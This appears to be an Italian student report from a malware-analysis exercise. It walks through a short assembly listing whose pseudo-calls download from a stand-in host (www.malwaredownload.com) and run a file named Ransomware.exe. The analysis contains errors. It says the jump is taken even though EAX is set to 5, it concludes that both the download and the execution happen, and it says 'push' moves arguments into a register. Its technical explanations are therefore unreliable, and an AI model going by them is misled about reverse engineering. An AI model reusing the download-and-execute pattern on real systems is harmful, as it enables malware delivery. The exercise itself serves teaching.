ANALISI AVANZATE: UN APPROCCIO PRATICO

L'analisi dei malware è un processo fondamentale per comprendere le minacce che possono compromettere la sicurezza informatica. Nell'ambito di questa analisi, abbiamo esaminato il codice assembly di un malware specifico al fine di identificarne le funzionalità e i comportamenti. Attraverso l'analisi del codice, siamo in grado di ottenere informazioni preziose sulle azioni che il malware intende svolgere e potenziali rischi per i sistemi e i dati.

Questo report dettagliato presenta i risultati dell'analisi del malware, fornendo una panoramica completa delle diverse parti del codice, dei salti condizionali, delle funzionalità implementate e delle chiamate di funzione effettuate. Attraverso un'analisi approfondita di tali elementi, ci proponiamo di comprendere meglio il funzionamento del malware e le possibili conseguenze che può avere.

È importante sottolineare che l'analisi dei malware richiede competenze specialistiche e attrezzature adeguate per garantire la corretta esecuzione e l'accuratezza dei risultati. Inoltre, le informazioni ottenute da un'analisi del codice assembly possono essere utilizzate per adottare misure di sicurezza adeguate e mitigare i rischi associati alle minacce informatiche.

Nel prosieguo del report, esamineremo nel dettaglio le diverse parti del codice del malware, evidenziando i salti condizionali effettuati, identificando le funzionalità implementate e analizzando le chiamate di funzione e gli argomenti passati. Questo ci consentirà di ottenere una visione approfondita delle intenzioni e del comportamento del malware in questione.

Procediamo quindi all'analisi dettagliata del malware, prendendo in considerazione i punti specifici richiesti dalla traccia dell'esercizio.

Salto condizionale:

Nel codice assembly fornito, il malware effettua un salto condizionale utilizzando l'istruzione "jnz" (jump if not zero). Questo salto viene eseguito alla locazione 0040105B e il destinazione del salto è la locazione 0040BBA0. Il salto viene effettuato solo se il registro EAX è diverso da 5, altrimenti il flusso di esecuzione procede normalmente senza effettuare il salto.

Diagramma di flusso:

Basandoci sul codice assembly fornito e considerando il salto condizionale descritto in precedenza, possiamo creare un diagramma di flusso per illustrare il flusso di esecuzione del malware. Nel diagramma, indicheremo con una linea verde i salti effettuati e con una linea rossa i salti non effettuati. Il diagramma di flusso aiuta a visualizzare chiaramente i diversi percorsi di esecuzione all'interno del malware.

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2
0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile()	; pseudo funzione

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings\Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

Funzionalità implementate nel Malware:

All'interno del malware, possiamo identificare diverse funzionalità implementate. Basandoci sul codice assembly e sulle istruzioni fornite, le funzionalità sono le seguenti:

Funzionalità 1: Download di un file da internet:

Il malware utilizza il sito www.malwaredownload.com per scaricare un file specifico.
La chiamata di funzione "call DownloadToFile()" nella locazione 0040BBA8 indica l'avvio della funzionalità di download del file.
L'argomento passato alla funzione è il sito www.malwaredownload.com (registrato in EDI) e viene trasferito al registro EAX tramite l'istruzione "push EAX" prima della chiamata di funzione.
Dopo il download, il file viene salvato nella directory specificata nel malware.

Funzionalità 2: Esecuzione di un file specifico:

Il malware esegue un file specifico, C:\Program and Settings\Local User\Desktop\Ransomware.exe.
La chiamata di funzione "call WinExec()" nella locazione 0040FFA8 indica l'avvio della funzionalità di esecuzione del file.
L'argomento passato alla funzione è il percorso del file da eseguire (registrato in EDX) e viene trasferito al registro EDX tramite l'istruzione "push EDX" prima della chiamata di funzione.
Dettagli sulle istruzioni "call":
Sulla base delle istruzioni "call" fornite nelle tabelle 2 e 3, possiamo analizzare come vengono passati gli argomenti alle successive chiamate di funzione. In particolare:

Chiamata di funzione "call DownloadToFile()" nella locazione 0040BBA8:

L'argomento passato alla funzione è il sito www.malwaredownload.com (registrato in EDI).
Prima della chiamata di funzione, l'argomento viene trasferito al registro EAX tramite l'istruzione "push EAX".
Chiamata di funzione "call WinExec()" nella locazione 0040FFA8:

L'argomento passato alla funzione è il percorso del file da eseguire (registrato in EDX).
Prima della chiamata di funzione, l'argomento viene trasferito al registro EDX tramite l'istruzione "push EDX".

Considerazioni finali:

L'analisi del malware ha rivelato che il suo flusso di esecuzione dipende dal valore del registro EAX. Se EAX è diverso da 5, il malware esegue un salto condizionale per avviare la funzionalità di download di un file da internet. Successivamente, il malware esegue un'altra chiamata di funzione per eseguire un file specifico sul sistema. Le funzionalità implementate all'interno del malware indicano un comportamento dannoso, come il download di malware aggiuntivo o l'esecuzione di ransomware.

È importante notare che l'analisi del malware è solo un primo passo nell'individuazione delle sue funzionalità e comportamenti. Ulteriori analisi, come l'analisi statica e dinamica, possono fornire una comprensione più approfondita delle azioni svolte dal malware e delle potenziali minacce che rappresenta.

In conclusione, il malware esaminato presenta una struttura complessa con diverse funzionalità implementate. La sua esecuzione è guidata da un salto condizionale basato sul valore del registro EAX. Le funzionalità includono il download di un file da un sito specifico e l'esecuzione di un file specifico sul sistema. Questi comportamenti indicano un potenziale intento dannoso del malware, come il download di ulteriori componenti maligni o l'esecuzione di azioni dannose sul sistema compromesso.

È fondamentale affrontare prontamente e adeguatamente le minacce rappresentate da malware come questo. L'analisi approfondita del codice e delle funzionalità, insieme alle misure di sicurezza adeguate, possono contribuire a mitigare il rischio e proteggere i sistemi dalle potenziali conseguenze dannose del malware.